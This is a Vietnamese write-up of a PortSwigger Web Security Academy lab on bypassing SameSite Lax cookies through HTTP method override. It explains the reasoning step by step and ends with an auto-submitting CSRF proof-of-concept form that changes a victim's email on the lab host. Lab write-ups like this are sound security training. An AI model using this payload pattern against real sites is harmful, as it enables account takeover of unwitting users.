Lab: SameSite Lax bypass via method override

📌 Bài viết này thuộc chuỗi write-up quá trình tiếp cận và đáp án cho các bài lab từ Portswigger Web Academy mà mình đã làm trong thời gian thực tập tại NCSC.

Mình không thích lắm cái cách mấy idol viết write-up lab theo kiểu cứ như thể họ đã biết đáp án từ đầu – họ chẳng bao giờ đủ kiên nhẫn để giải thích cặn kẽ tại sao họ lại làm một cái gì đó. Vậy nên, write-up phong cách bạn Tiểu ra đời. Mình mong là bạn có được những câu trả lời thoả đáng qua loạt bài này. Những ý kiến góp ý, thảo luận, báo lỗi – luôn luôn được hoan nghênh dưới mục comment.

Link bài lab

Đề bài

Ngữ cảnh: Tính năng thay đổi email có thể bị tấn công CSRF.

Mục tiêu: Thực hiện CSRF để thay đổi email của nạn nhân, sử dụng Exploit server được cho để lưu payload.

Thông tin sẵn có: Tài khoản wiener:peter

Lưu ý: Hạn chế SameSite mặc định có thể khác nhau giữa các trình duyệt. Nạn nhân được cho là sử dụng Chrome, do đó bạn nên sử dụng trình duyệt này để kiểm tra khai thác của bạn.

Phân tích

  1. Vào tài khoản được cho và kiểm tra yêu cầu được gửi đi khi ta thay đổi email. Nhận thấy không có một đặc tả nào về mức độ hạn chế SameSite, nên khả năng cao là mức mặc định được áp dụng. Với Chrome, mức này là Lax.
  2. Thử thay đổi phương thức yêu cầu từ POST thành GET trực tiếp và nhận thấy là nó không cho.
  3. Nghĩ đến việc có thể cần sử dụng ghi đè phương thức (method override) như trong tiêu đề bài lab. Bạn có thể tìm thấy gợi ý giải bài – một lần nữa, lại do chính Portswigger viết ra trong hướng dẫn:

Lời giải

Bạn nên học cho kỹ các phương thức HTTP chứ đừng như tôi nhé. Tôi cứ loạn xị ngậu POST với GET hết cả lên, kết cục là đặt payload gần đúng rồi mà… gần đúng thì vẫn cứ là sai.

Dưới đây là payload cuối cùng, trong đó:

  • Trường form, bạn vẫn để phương thức là GET, để chúng ta bypass được quả “Method Not Allowed” phía trên.
  • Trường _method, bạn để phương thức mình muốn là POST, để ta submit được email mới mà ta muốn đổi của nạn nhân.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="<https://0a7900d10445e18f80a60dab00090007.web-security-academy.net/my-account/change-email>" method="GET">
<input type="hidden" name="_method" value="POST">
<input type="hidden" name="email" [value="peter@normal-user.net](mailto:value=%22peter@normal-user.net)" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

Trong quá trình “thử ngu” khi đặt payload sai, tôi còn tìm được thêm vài thông tin hữu ích. Dưới đây là một vài tên trường khác bạn có thể thử để thực hiện ghi đè phương thức trên thực tế.

HTTP Method Override – what it is and how a pentester can use it | SideChannel – Tempest